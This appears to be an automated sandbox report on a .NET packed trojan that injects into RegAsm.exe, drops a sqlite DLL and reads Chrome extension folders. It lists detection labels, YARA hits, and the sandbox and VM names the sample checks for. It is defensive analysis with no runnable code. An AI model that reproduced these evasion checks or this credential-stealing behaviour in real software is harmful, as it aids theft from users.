Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B58A590	1_2_1B58A590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4947AF	1_2_1B4947AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B49415B appears 133 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B491C2B appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004024F9 appears 312 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B49395E appears 78 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B491F5A appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B493AF3 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 1B6706B1 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004170DA appears 98 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe, 00000000.00000002.1630251507.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000000.1628616143.00000000009F8000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNETCrypt.exe4 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameNETCrypt.exe4 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.file.exe.3d65570.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0.2.file.exe.3d65570.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/12@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040F310 _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_0040F310

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040F711 CoCreateInstance,SysAllocString,SysFreeString,_wtoi64,SysFreeString,SysFreeString,

1_2_0040F711

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Mutant created: NULL

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: KFIJEG.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 63%
Source: file.exe	Virustotal: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NETCrypt.pdb source: file.exe
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2882085104.0000000015737000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.1.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: file.exe, gBMthepoZSL1ZVKpeA.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00416676 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00416676

Source: sqlx[1].dll.1.dr

Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00418205 push ecx; ret	1_2_00418218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B491BF9 push ecx; ret	1_2_1B634C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_1B4910C8 push ecx; ret	1_2_1B693552

Source: file.exe

Static PE information: section name: .text entropy: 7.421157543801175

Source: file.exe, eRtoUikQAUlfmrcXhP.cs	High entropy of concatenated method names: 'WKIpT6WRYP', 'GxIp0d0vl2', 'R3Ppdmg34A', 'iAsp1JjQqZ', 'yQwppAuByG', 'BT0pvkDekn', 'ENbpFei3CE', 'YlPUn7XuQH', 'Qsnpc1Onv9', 'jAdpZCXbre'
Source: file.exe, gBMthepoZSL1ZVKpeA.cs	High entropy of concatenated method names: 'reTlcDMFua', 'nW4lBacjpc', 'sMLlkdoJ60', 'I5LlJVOMeQ', 'qdll7OAZFb', 'QEmlZSRGOw', 'RegMCu0N1R', 'N15X2cY3J', 'NWNp5BRFs', 'Q59l6jZOT'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

1_2_00416676

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5816, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2B30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2D60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2C80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 2196

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040ECD4 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0040EDE7h

1_2_0040ECD4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040B700 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	1_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041531B _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_0041531B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00414462 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	1_2_00414462
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00409531 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_00409531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040994C _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040994C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00414B2E _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00414B2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00414ED2 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	1_2_00414ED2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00409FBE _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_00409FBE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_004148AF _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

1_2_004148AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0040EE70 GetSystemInfo,wsprintfA,

1_2_0040EE70

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000001.00000002.2881580352.00000000031A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000001.00000002.2880922498.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.2880922498.0000000000DB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
